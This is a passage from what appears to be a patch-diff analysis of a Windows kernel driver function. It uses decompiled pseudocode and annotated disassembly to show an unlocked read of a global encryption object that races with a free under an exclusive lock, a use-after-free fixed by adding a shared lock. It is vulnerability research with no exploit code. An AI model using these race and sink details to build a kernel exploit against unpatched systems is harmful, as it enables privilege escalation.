&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdx_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RWLock&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ReleaseShared&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt;&amp;lt;&amp;lt; SHARED LOCK RELEASE&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...allocate replacement / exclusive swap as before...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What the diff tells us:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The unpatched read of &lt;code&gt;EncryptionManager&lt;/code&gt; has &lt;em&gt;no&lt;/em&gt; &lt;code&gt;KeEnterCriticalRegion&lt;/code&gt; / &lt;code&gt;ExAcquireResourceSharedLite&lt;/code&gt; around it.&lt;/li&gt;
&lt;li&gt;The exclusive writer (same function, later in execution, or another thread) does correctly take &lt;code&gt;ExAcquireResourceExclusiveLite&lt;/code&gt; on &lt;code&gt;SigningLock&lt;/code&gt; and frees the object inside that critical region — but that lock is meaningless when the reader never shares it.&lt;/li&gt;
&lt;li&gt;The patch &lt;em&gt;adds&lt;/em&gt; the matching shared-lock acquire/release (&lt;code&gt;RWLock::AcquireShared&lt;/code&gt; / &lt;code&gt;ReleaseShared&lt;/code&gt;). The accompanying re-read of the length from memory and the &lt;code&gt;test&lt;/code&gt;→&lt;code&gt;cmp/jbe&lt;/code&gt; codegen change are incidental and functionally equivalent for a length value; the lock is the security-relevant change.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;4.1 Unpatched — &lt;code&gt;sub_1C00BCAAC&lt;/code&gt; (&lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAAC:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAB1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAB6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCABB:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCABC:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCABE:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAC0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAC4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xe8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; cache input length in eax  &amp;lt;-- PATCH REMOVES THIS CACHE&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCACA:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCACC:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCACF:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAD2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAD5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; signed != 0  &amp;lt;-- PATCH uses &amp;#39;cmp [rcx+0xe8], ebp; jbe&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAD7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C00BCC2E&lt;/span&gt;

&lt;span class="c1"&gt;; === RACE WINDOW START — NO LOCK ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCADD:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt;&amp;lt; UNLOCKED read of Encryption global&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAE4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAE7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAEA:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C00BCB63&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAEC:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt;&amp;lt; UAF SINK: deref stored size (+0x20)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAEF:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAF1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1C00BCB3A&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAF3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt;&amp;lt; UAF SINK: deref stored buffer (+0x18)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAF7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; Size&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAFA:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xec&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; Buf1 (caller input)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCB01:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memcmp&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; sub_1C0018950 — compares input vs stored buffer&lt;/span&gt;

&lt;span class="c1"&gt;; --- Exclusive-lock path that frees the object Thread A may be reading ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCBD0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;SigningLock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCBD7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;KeEnterCriticalRegion&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCBE3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; Resource&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCBE6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCBE8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExAcquireResourceExclusiveLite&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCBF4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; old object&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCBFB:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCC00:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;??&lt;/span&gt;&lt;span class="no"&gt;_GEncryption&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt;&amp;lt; scalar deleting destructor -&amp;gt; ExFreePoolWithTag (sub_1C0058100)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCC0C:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;EncryptionManager&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; replace global with new object&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCC16:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExReleaseResourceLite&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCC22:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;KeLeaveCriticalRegion&lt;/span&gt;

&lt;span class="c1"&gt;; --- ReplayCacheManagerObject read — CORRECTLY under SigningLock SHARED in BOTH versions ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCC2E:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;SigningLock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCC35:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;KeEnterCriticalRegion&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCC41:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCC44:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCC46:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExAcquireResourceSharedLite&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;-- SHARED LOCK&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCC52:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;ReplayCacheManagerObject&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCCD0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExReleaseResourceLite&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCCDC:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;KeLeaveCriticalRegion&lt;/span&gt;

&lt;span class="c1"&gt;; --- Free helper ??_GEncryption (sub_1C0058100) ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0058109:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="no"&gt;ReleaseAll@Encryption@@AEAAXXZ&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; Encryption::ReleaseAll&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0058113:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; deallocate the object&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;4.2 Patched — relevant change block&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCACF:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xe8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; unsigned &amp;gt; 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAD5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1C00BCC40&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCADE:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="no"&gt;AcquireShared@RWLock@@QEAAXXZ&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt;&amp;lt; SigningLock shared acquire (sub_1C0018818)&lt;/span&gt;
